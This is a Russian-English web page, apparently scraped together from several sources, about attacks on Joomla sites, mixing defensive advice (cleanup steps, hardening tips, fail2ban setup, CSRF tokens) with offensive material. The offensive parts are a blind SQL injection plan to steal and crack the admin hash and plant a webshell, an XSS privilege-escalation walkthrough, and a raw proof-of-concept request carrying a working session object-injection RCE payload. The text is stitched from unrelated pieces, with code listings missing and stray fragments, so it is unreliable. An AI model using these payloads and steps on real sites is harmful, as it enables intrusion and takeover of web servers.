Хакерские атаки на CMS: анализ уязвимостей Joomla и WordPress

CMS Joomla

Timeline

11.02.2021 Fortbridge discloses password reset vulnerability to Joomla

03.03.2021 Joomla replies that they added documentation on their site for this issue and they recommend using variable

08.03 2021 Fortbridge follows up with another XSS vulnerability which can help escalate privileges from Admin to Super Admin

26.03.2021 Joomla agrees to fix the issues on the next release, 13.04.2021

13.04.2021 Vulnerabilities still not fixed, Fortbridge allows another extension until the next release cycle

25.05.2021 – Joomla releases patch for the XSS vulnerability in version 3.9.27. Joomla will fix the password reset vulnerability in the next weeks with a “trusted_hosts” configuration

07.06.2021 – Fortbridge releases the write-up

ReferencesDrupal password reset poisoning vulnerability.Joomla password reset poisoning vulnerability leads to full compromise.Concrete CMS Part2 – Password reset poisoning vulnerability.

Обеспечиваем безопасность сайтов на CMS Joomla!

Автор Анна Приходько

В этом месяце сайты, созданные на Joomla!, второй по популярности CMS в Рунете, подверглись масштабной автоматизированной атаке злоумышленников.

Только 14 декабря текущего года команда разработки Joomla! выпустила срочное обновление безопасности, которое закрывает обнаруженную критическую уязвимость CMS, позволяющую удаленно вносить вредоносный код в файлы сайтов. Такой пробел в безопасности актуален для всех версий Joomla, начиная с 1.5.0, выпущенной в 2008 году.

Если Ваши сайты созданы на Joomla!, возможно, их файлы тоже были заражены. Пожалуйста, прочитайте наши рекомендации по обнаружению вредоносного кода и очистке от него файлов сайта.

В первую очередь, мы рекомендуем произвести обновление CMS Joomla! из дистрибутивов, соответствующих Вашей текущей версии, получить которые можно с официального сайта разработчика.

Поскольку злоумышленники уже могли воспользоваться уязвимостью CMS и заразить файлы Вашего сайта ранее, настоятельно рекомендуем прямо сейчас, не откладывая, провести проверку на наличие вредоносного кода.

Зачем это делать: если файлы Вашего сайта уже заражены, в любой момент киберпреступники могут инициировать вредоносную активность на аккаунте (рассылать спам, осуществлять DDoS/BruteForce атаки, распространять вирусы, перенаправлять посетителей Вашего сайта на фишинговые страницы), а мы будем вынуждены заблокировать Ваш аккаунт. Подробно о причинах взломов сайтов и методах удаления вредоносного кода с сайта мы уже писали ранее в нашем блоге.

В этой статье мы предлагаем Вам ряд простых рекомендаций, которые позволят оперативно обезопасить сайт своими силами, без привлечения специалистов.

Мы исследовали несколько случаев произошедших взломов и выяснили, что заражение происходит в результате POST-запросов к скриптам вида random.php, расположенным в директориях images, где random.php — это файл с расширением .php и произвольным, не имеющим смысла, набором символов в названии, например g4anfk.php.

Такие файлы Вы можете найти, воспользовавшись функционалом «Поиск файлов» файлового менеджера Панели управления. Нажмите на кнопку «Файлы» в верхнем меню, перейдите в корневую директорию Вашего сайта, созданного на основе CMS Joomla!, а затем — в директорию images. Нажмите на «Поиск файлов» и введите в строку поиска «*.php».

Если результат поиска не пуст, то есть Вы нашли файлы вида *.php, необходимо произвести следующие действия:

* заблокировать доступ к сайту для посетителей средствами Панели администрирования, либо из раздела «Управление сайтами» Панели управления хостингом,
* произвести восстановление файлов сайта из самой ранней доступной резервной копии, инструкция по восстановлению доступна на нашем сайте,
* после восстановления необходимо снова проверить директорию images и удалить файл, если он по-прежнему там размещен,
* повторно произвести проверку на наличие вредоносного кода (проверить файлы сайта могут по Вашей просьбе наши специалисты, для этого необходимо обратиться в службу поддержки по электронной почте [email protected]),
* если Вы все еще видите зараженные файлы, следует заменить их на заведомо безопасные, получить которые можно из дистрибутива CMS и её расширений,
* изменить пароль администратора в Панели администрирования сайта,
* изменить пароль от Панели управления хостингом и основного FTP-аккаунта,
* обновить CMS и расширения до последней стабильной версии.

Выполнив указанные несложные действия, Вы обезопасите себя и посетителей своих сайтов от действий злоумышленников.

Поскольку атака на сайты, созданные на Joomla!, была действительно масштабной, мы настоятельно рекомендуем Вам обратиться к разработчикам сайта для проверки файлов на наличие вредоносного содержимого, даже если файлов вида *.php в директории images нет, а затем обновить CMS.

  • Инструкции
  • Сочинение на тему

Privilege Escalation via stored XSS

So, what’s next? Let’s try to mess with the upload media functionality. We tried many dirty tricks to upload a php file, close but no cigar . Reviewing the code it was clear that they’re doing some solid validations on file name, extensions, file content etc.

Anyway, in the end while looking for functionality that we can abuse, we discovered that the admin user has actually the permission to disable some of the upload restrictions.  Just some of the restrictions, because the Joomla developers have done a great job at hard coding many extensions(.php, php5, php7, phtml etc), which you can’t upload. On top of that, they also use a whitelist of hardcoded extensions. For mime types they use a a similar approach for validation and the filename has solid alpha numeric validation.

One thing they haven’t hardcoded in their blacklist though, is the .html extensions. As you see as a regular admin, we were able to add “.html” as a “legal extension” and also disable “Restrict Uploads”.

The “php” extensions that we tried to whitelist are completely ignored, however we have managed to whitelist the “.html” extension. Now we can go ahead and upload a “html” file containing an XSS payload which will target the “super admin” user.

You can use the internal messaging feature to deliver the XSS payload to the Super Admin or you can embed the link in the website articles, comments etc. Our XSS exploit will elevate our privileges to “Super Admin” and once the victim visits the link it’s game over.  You can check out our PoC here. You will need to configure some variables at the top with the username and user_id of the admin user you already compromised. This bug is CVE-2021-26032 and we recommend you to download Joomla 3.9.27 or later.

Admin Hash

Great, so I have prefix and prefix length, now to get the admin hash. Essentially done in the same way as above but with the query SELECT password from #prefix#_users WHERE username=admin

Once I had that out (it takes a while as its a 32 bit hash and a 32 bit salt) I could get on to cracking it.

Joomla passwords by default are MD5(salt + password), and the salt is stored in the password field (thank goodness! If it was in a file somewhere id have really been stuck here).

So brute forcing with the salt eventually gave me the password 🙂 — In the script I only do it up to 6 characters, after that it simply takes too much time to do it in php..

NOTE: I’ve added a -c=1 param for people who wish to do it outside of the script – which seems a lot better since mine is horribly inneficient

Профилактические меры против взлома сайта на Joomla

  • При установке системы создавать для администратора надежный пароль. Надежным паролем можно назвать пароль, длина которого составляет не менее 8 символов. Он должен состоять из букв, цифр, спецсимволов (например: *, _, $);
  • По-умолчанию, логином администратора в системе является “admin”. Рекомендуется заменить логин администратора на какой-нибудь другой;
  • Необходимо запретить посетителям сайта регистрироваться самостоятельно. Сделать это можно в настройках сайта в административной части: Система→Общие настройки→Менеджер пользователей→Разрешить регистрацию пользователей поставить переключатель в положение «Нет»;
  • Необходимо отказаться от сохранения паролей в браузере, FTP и SSH клиентах.
  • Желательно скрыть страницу входа в административную панель сайта. Сделать это можно, например, с помощью плагина AdminExile;
  • Устанавливать сторонние модули и компоненты, полученные из надежного источника (сайта разработчика).
    Перед установкой убедиться в отсутствии уязвимости в коде компонента. Для этого можно поискать устанавливаем компонент на странице: https://vel.joomla.org/live-vel;
  • Постоянно следить за обновлениями системы, а также сторонних модулей и компонентов, которые вы установили на сайт;
  • Необходимо периодически (например, 1 раз в 3 месяца) менять пароли на доступ к сайту, а именно: к административной части сайта, FTP и SSH, а также доступ к серверу БД;
  • Периодически делать резервное копирование вашего сайта (файлов и БД). Очень хорошо с этой задачей справляется компонент Akeeba Backup;
  • Установить на сервер скрипт tripwire.php и запускать его по расписанию (с помощью cron). Этот скрипт отслеживает изменения в файлах и сообщает об этом на электронную почту, адрес которой должен быть указан в настройках скрипта.

Цели взломщика

Их может быть много.

Первая – придушить сайт конкурента. Для этого на сайт направляется огромное количество запросов посредством ресурсов botnet сети. В результате сервер не справляется с возросшей нагрузкой и происходит отказ в обслуживании.

Botnet сеть – сеть зараженных вирусами компьютеров, занимающаяся исполнением команд злоумышленника без ведома хозяина. Таких компьютеров в сети несчетное количество.

Блокирование подобного рода атак должно осуществляться администратором хостинга. Далеко не все хостинги способны противостоять подобного рода атакам.

Прочие цели достигаются подбором пароля к административной панели сайта или посредством «дыр» в сторонних расширениях роботами-взломщиками, с последующей вставкой вредоносного кода в CMS.

Втораязаразить персональные компьютеры

Третья – перенаправление посетителей на какой-либо сторонний сайт. Владелец стороннего сайта платит за «слив» трафика взломщику.

Четвертая – блокировка операционных систем с требованием отправить смс на номер.

Пятая – подмена одной из страниц сайта на страницу с каким-либо текстом.

Blocking Joomla Brute Force Login Attacks with Fail2Ban on Ubuntu Server

This guide is intended for server administrators with lot’s of Joomla sites installed. This guide will explain how to block IP address which try to do a brute force attacks on Joomla sites. This guide is written for Ubuntu 12.04 (or above). 

First, install Joomla plugins: 

For Joomla 2.5.x and Joomla 3.x you can install: plg_system_fail2ban_j25.zip

For Joomla 1.5.x you can install: plg_system_fail2ban_j15.zip

 (Update 2.Dec 2014 -> the plugins now support also php5.3. Php5.2 support is not tested, but may possibly work as well. Report issues to our forum. Tested php versions are php5.4, php5.5 and php5.6, php5.3)

The plugins are based on: http://baxeico.wordpress.com/2014/03/31/joomla-brute-force-attacks-file2ban/ 

You may also see referece at stackoverflow here

In addition our modification adds these features: 

– using syslog facility so all failed login attempts are logged in a single sytem log file

– filtering the failed attempts only for an administrator section

– added joomla 1.5 plugin 

This guide will describe how to enable fail2ban when using our plugin’s syslog feature. 

Second, see if the failed login attempts are properly logged

Normally on Ubuntu server, the failed attempts with php syslog will get logged in /var/log/syslog on Suse based systems the default log file is /var/log/messages

To move the messages to a single file

Assuming that you are running Ubuntu 12.04 which uses rsyslog as the default logging daemon, create this file: 

/etc/rsyslog.d/10-joomla.conf

with contents: 

#code start

if $programname == ‘joomla’ then /var/log/joomla.log

#code end

Now all the messages will get logged in a single file above. You acn optionally add

#code start

& ~

#code end

to the end of this file, if you do not want the messages to be logged by user facility into other files

Example output from /var/log/joomla.log

Aug 24 14:56:05 ibm joomla: user testuser vm2onj25.rupostel.com authentication failure

Now set up fail2ban

Quick installation on ubuntu: 

$ apt-get install fail2ban

create a new file: 

/etc/fail2ban/filters.d/joomla-error.conf

The default regex as shown at this site (http://baxeico.wordpress.com/2014/03/31/joomla-brute-force-attacks-file2ban/) will work: 

#code start

# Option: failregex# Notes.: matches something like:# user mywebsite authentication failure# Values: TEXTfailregex = client <HOST>[]] user .* authentication failure.*# Option: ignoreregex# Notes.: regex to ignore. If this regex matches, the line is ignored.# Values: TEXT#ignoreregex =

#code end

To fail2ban configuration file here: /etc/fail2ban/jail.local

add these lines to the end: 

#code start

enabled = trueport = http,httpsfilter = joomla-errorlogpath = /var/log/joomla.logmaxretry = 7

#code end

Now check if all works properly

Testing the regex of fail2ban if it found IP addresses

$ fail2ban-regex /var/log/joomlma.log /etc/fail2ban/filter.d/joomla-error.conf

The output should look like this for our example above: 

Running tests=============

Use regex file : /etc/fail2ban/filter.d/joomla-error.confUse log file : /var/log/joomla.log

Results=======

Failregex|- Regular expressions:| client <HOST>[]] user .* authentication failure.*|`- Number of matches: 2 match(es)

Ignoreregex|- Regular expressions:|`- Number of matches:

Summary=======

Addresses found: 192.168.122.122 (Sun Aug 24 14:24:34 2014) 192.168.122.122 (Sun Aug 24 14:56:05 2014)

Date template hits:4 hit(s): MONTH Day Hour:Minute:Second0 hit(s): WEEKDAY MONTH Day Hour:Minute:Second Year0 hit(s): WEEKDAY MONTH Day Hour:Minute:Second0 hit(s): Year/Month/Day Hour:Minute:Second0 hit(s): Day/Month/Year Hour:Minute:Second0 hit(s): Day/Month/Year Hour:Minute:Second0 hit(s): Day/MONTH/Year:Hour:Minute:Second0 hit(s): Month/Day/Year:Hour:Minute:Second0 hit(s): Year-Month-Day Hour:Minute:Second0 hit(s): Year.Month.Day Hour:Minute:Second0 hit(s): Day-MONTH-Year Hour:Minute:Second0 hit(s): Day-Month-Year Hour:Minute:Second0 hit(s): TAI64N0 hit(s): Epoch0 hit(s): ISO 86010 hit(s): Hour:Minute:Second0 hit(s): <Month/Day/Year@Hour:Minute:Second>

Success, the total number of match is 2

However, look at the above section ‘Running tests’ which could contain importantinformation.

Now youc can restart fail2ban

$ fail2ban-client reload

Now, let’s configure logrote so fail2ban does not run out of memory

Create a new file: 

/etc/logrotate.d/joomla.conf

with contents

/var/log/joomla.log { rotate 12 weekly missingok notifempty create 777 root adm compress size 5M minsize 5M delaycompress}

Logrotate reload is not needed as it’s loaded from CRON. 

This guide is based on these references: 

How the attack works:

* You can add an IF statement into the UNION to evaluate something
* If its true, sleep for a period of time (by default I used 2s more than the average normal request time)
* If false do nothing (so the page returns in a normal time)

So right now I have the ability to essentially ask Joomla a true or false question and get an answer for it. Next was figuring out what I could do with this to get a webshell on a box.

I looked at some of the joomla-y things and found that the easiest way for me to get a shell on the box would be with a simple RFI (loads of components for Joomla already have this, but I figured id rather make a custom component). The only problem is that I didnt have access to the backend because I didnt know the password :/

So next was figuring out how to get the password. Most joomla installs come with a nasty setting that puts a prefix before every table in the database, so while my install has users in c5swv_users, yours might have it in s5fddg_users.. irritating.

So the steps at this stage:
1. Get the prefix for the database
2. Get the admin password out
3. Crack the admin password
4. Login, install component
5. Call the RFI component with your shell.

First things first, figuring out the best way to get data out. Essentially there were two options:

1. Take each character we need to get out to binary, and time out a 8 bits for a single character (8 requests), eg. 00110101 would be in response times,

2. Use a binary tree to try and identify the character, essentially asking something like this:
– Is it between a and z?
– Is it between a and m?
– Is it between t and z?
– Is it between w and z?
– Is it between t and u? (i know it must be either t,u or v at this stage)
– Its V!

I opted for the second option mostly because Roelof suggested it first and also cause it seems sexy 🙂

So writing the query for those looks something like:SELECT if((SELECT ORD(singlecharacter) FROM x) between $start and $end,sleep(2),null)

MySQL

MySQL cannot save null bytes, that’s why the Joomla handler converts them into escaped version of zeros. This is extremely handy because HTTP headers do not allow the null bytes needed to terminate the session and append our data. However, the custom Joomla handler uses MySQL with utf8_general_ci. Whenever it encounters an unsupported 4-byte UTF-8 symbol, it just terminates the data as following:  it will become: (we can use many of them, ýýý, ?, and so on)

We can now create new arbitrary serialized objects and add them to the $_SESSION variable (Object Injection attack). We will be able to execute them with a PHP magic methods for example ( or ), that will call the init function of our SimplePie object (the PoC in the wild uses the JDatabaseDriverMysqli class).

Последствия взлома сайта.

Дальше рассмотрим последствия взлома:

  • Рассылка с сервера почтовых сообщений (СПАМа) — злоумышленник устанавливает скрипты для рассылки почты и осуществляет рассылку.
  • Продажа рекламы — в структуре сайта есть скрытые ссылки на другие ресурсы, заменены или добавлены банеры.
  • Клонирование сайта — сайт полностью скопирован и размещен на другом ресурсе, на котором могут его продвинуть лучше чем вы.
  • Распространение вирусов — злоумышленник размещает на сайте вредоносное ПО для загрузки на мобильные и стационарные устройства.
  • Потеря возможности управления сайтом — смена учетных данных администратора, перехват управления сайтом.
  • Нагрузка на сервер — при атаке DDOS на другие сервера или распространении СПАМа, возрастает нагрузка на сервер, как следствие работа сайта замедляется.
  • Потеря имиджа компании — при размещении на сайте не санкционированных материалов сомнительного содержания, влияет на имидж компании.
  • Снижение посещаемости, потеря клиентов — в следствии всех вышеперечисленных причин происходит снижение посещаемости сайт, потеря клиентов.
  • Полное уничтожение сайта — в зависимости от целей злоумышленника может получится так, что сайт будет полностью или частично удален или будет нарушена его работоспособность.

Перечисленных выше причин вполне достаточно, что бы уделить этому вопросу время и серьезно изучить способы защиты сайта на Joоmla.

Подбор пароля

Для противостояния атакам необходимо понять поведение взломщика. Из логов видно, что робот пытается определить тип CMS по характерным признакам

212.109.28.79 - - [04/Apr/2013:00:51:50 +0400] "GET /admin.php HTTP/1.0" 404 525 "-" "Opera/9.80 (Windows NT 6.1; U; ru) Presto/2.8.131 Version/11.10"
212.109.28.79 - - [04/Apr/2013:00:51:50 +0400] "GET /administrator/index.php HTTP/1.0" 404 539 "-" "Opera/9.80 (Windows NT 6.1; U; ru) Presto/2.8.131 Version/11.10"
212.109.28.79 - - [04/Apr/2013:00:51:50 +0400] "GET /wp-login.php HTTP/1.0" 404 528 "-" "Opera/9.80 (Windows NT 6.1; U; ru) Presto/2.8.131 Version/11.10"

Здесь робот не нашел жертву, он получил страницу 404 ошибки и ушел дальше.

Вторая манера поведения, обращение робота к единственной страничке /administrator/index.php

94.137.52.61 - - [04/Apr/2013:07:29:17 +0400] "GET /administrator/index.php HTTP/1.1" 200 6070 "-" "Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)"
94.137.52.61 - - [04/Apr/2013:07:29:17 +0400] "POST /administrator/index.php HTTP/1.1" 200 6291 "-" "Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)"

Страница вернула код ответа 200, жертва найдена, начинается тупой перебор паролей, который может идти часами, а то и сутками. Причем, робот занимается подбором пароля не единственного сайта, а может работать со списком. Но главное – он к вам обязательно вернется на следующий день для достижения поставленной цели.

Используем сканер

Конечно, вручную не всегда удается найти некоторые «сюрпризы», так, возможно, вы вовремя не обновили систему или расширения, и на сайт был установлен backdoor… Сейчас существует множество сканеров, один из них AI-Bolit. К тому же он бесплатен для некоммерческого использования. 

Используем его для «экспериментального» сайта, где я искал «лишние» ссылки. Как им пользоваться, хорошо документировано на официальном ресурсе, поэтому не буду дублировать информацию.

По результатам экспресс-проверки я получил сообщение о двух уязвимостях. Первая сообщала об устаревшей версии движка, это, в общем, я и так знал.

Вторая говорила об уязвимости в administrator/components/com_k2/lib/elfinder/elFinder.class.php – AFU : elFinder. Возможно, причина в том, что компонент тоже устарел.

На всякий случай я скачал последнюю версию компонента с официального сайта и сравнил версию, на который жаловался сканер, со свежескачанной. Для этого удобно использовать плагин для Notepad++, Compare. Как и предполагалось, отличие состояло только в версиях.

Использование Токена против CSRF атак

окены (Token) обеспечивают дополнительный уровень безопасности при отправки форм залогинеными пользователями. После того как пользователь вошел на сайт Joomla (даже если он еще не залогинился), система присваивает ему уникальный идентификатор. По нему можно легко отличать посетителей друг от друга, отслеживать действия и переходы пользователя по сайту. Но тут возникает проблема связанная с безопасностью, а именно если идентификатор сессии пользователя попадет в руки злоумышленнику. Тогда последний сможет не зная логина и пароля, ходить по сайту под чужим именем и т.д. Атака подобного рода носит название CWE-352: Cross-Site Request Forgery (CSRF) – Подделка межсайтовых запросов. Разберемся как уберечь себя от подобной ситуации.

Обычный пользователь интернета, открыл в своем браузере две разные вкладки – на одной открыт сайт на Joomla, на другой сайт злоумышленника с вредоносным JavaScript и при этом  в настройках безопасности пользовательского браузера скрипты сайта могут управлять любыми окнами. Таким образом сайт злоумышленника без ведома пользователя будет получать желаемую информацию с посещенных страниц, отправлять формы. Здесь описан простейший метод атаки, от которого современные браузеры защищены. Подробнее  можно прочитать, например, на сайте securitylab.ru.

Joomla в своем арсенале имеет готовый способ защиты от CSRF-атак. Для этого нужно воспользоваться статическими встроенными классами JUtility, JRequest и JHTML.

Уникальный идентификатор пользователя (так же его иногда называют токеном, маркером, ИД-шником и прочее…) добавляется следующим образом:

где tokenValue – уникальное значение (нечто похожее на md5).

Реализовывается это в расширении следующим образом:

 
 

В примере идентификатор был передан как GET-параметр. Как известно, в адресе должны передаться только параметры для чтения страницы, что не свойственно для токена. Обычно он передается вместе формой в POST. Делается это следующим образом:

 

Для проверки воспользуемся методом JRequest:checkToken(). Он вернет булево значение — правильный, либо нет маркер. Ниже идет небольшой пример использования. Примерно так же проверяются формы в панели управления Joomla.

Примечание: функция jexit() – это наиболее верный способ моментальной остановки работы Joomla. Почему нельзя использовать die()?

По умолчанию, checkToken() проверяет данные из массива POST. Первым аргументом можно явно указать, где искать маркер.

В предыдущих примерах мы поступали очень жестко — при несовпадении маркеров просто выход из программы. Можно расширить текст ошибки и добавить соответствующий HTTP заголовок.

 

Обычно в Joomla используется для одного пользователя один и тот же маркер, что не совсем верно с точки зрения безопасности. Рекомендуется для всех форм на сайте использовать различные значения, особенно будет полезно для сайтов с высокими требованиями к безопасности. Но с различными маркерами нужно быть очень осторожным. Например, пользователь может открыть один сайт на нескольких вкладках сразу, тогда проверка может серьезно затрудниться из-за устаревания, проверки “не тех” маркеров и.т.д. Поэтому, прежде чем делать подобные проверки, лучше хорошенько обдумать, стоит оно того или нет.

Следующий листинг демонстрирует, как заново сгенерировать метку

 

Легко! Но нужно быть внимательным и чтобы не смешать различные маркеры, лучше генерировать его в самом начале работы компонента, тогда можно быть увереным в его уникальности.

Для дополнительной безопасности, иногда проверяют реферер (HTTP_REFERER). Но тогда могут возникнуть проблемы для пользователей которые работают в интернете через какие-нибудь фаерволы или прокси сервера, которые обычно блокируют этот заголовок. Поэтому подобную проверку нужно тоже использовать только в крайних случаях. Следующий пример демонстрирует, проерку реферера и в случае неудачи выводит соответствующую ошибку.

 
 
 
 

The vulnerability

This is the code for the read and write functions (just remove unnecessary code).

The write function accept 2 parameters, the session_id (from the cookie) and the serialized object. Before storing data into the database there is an interesting replace of ‘\x00\x2a\x00’ (chr(0).’*’.chr(0)) with ‘\0\0\0’. That’s because MySQL cannot save Null Bytes and $protected variables are prefixed with ‘\x00\x2a\x00’ in the serialized object. 

On the other hand, when reading, the read function will replace ‘\0\0\0’ with ‘\x00\x2a\x00’ in order to reconstruct the original object.

The main issue with this replace is that it’s replacing 3 bytes with 6 bytes:

This behaviour has been introduced from the 3.0.0 version and affecting Joomla until 3.4.6. Starting from 3.4.7 the piece of code is still present but the session is base64 encoded and stored in the database.

As I said before, we can manipulate the session object through action parameters. In this way, we can inject ‘\0\0\0’ that will be replaced from the read function with 3 bytes, invalidating the object because of incorrect size.If we take the login form as a target and we put ‘my\0\0\0username’ in the username field, we end up with the following part of object in the database:

When the session object is read from the read function, ‘\0\0\0’ will be replaced as demonstrated before, assembling the following value:

 –> Invalid Size

The replaced string is only 13 bytes long but the declared string size is still 16!We can now take this ‘overflow’ to our advantage and forge a new object that will lead us to the final goal… RCE!

Raw PoC

GET / HTTP/1.1
Host: 192.168.0.1
USER-AGENT: ZWQXJ}__ZWQXJZWQXJ|O:21:"JDatabaseDriverMysqli":3:{s:4:"\0\0\0a";O:17:"JSimplepieFactory":0:{}s:21:"\0\0\0disconnectHandlers";a:1:{i:0;a:2:{i:0;O:9:"SimplePie":5:{s:8:"sanitize";O:20:"JDatabaseDriverMysql":0:{}s:5:"cache";b:1;s:19:"cache_name_function";s:6:"assert";s:10:"javascript";i:9999;s:8:"feed_url";s:71:"eval(base64_decode($_SERVER));JFactory::getConfig();exit;";}i:1;s:4:"init";}}s:13:"\0\0\0connection";i:1;}ýýý
Content-Type: application/x-www-form-urlencoded
Content-Length: 0

Payload:

s:71:"eval(base64_decode($_SERVER));JFactory::getConfig();exit;";}i:1;s:4:"init";}}s:13:"\0\0\0connection";i:1;}ýýý

It executes base64 encoded PHP commands sent to the HTTP_ZWQXJ header. (Do not forget to add the session cookie that was set during the first request)

Rate article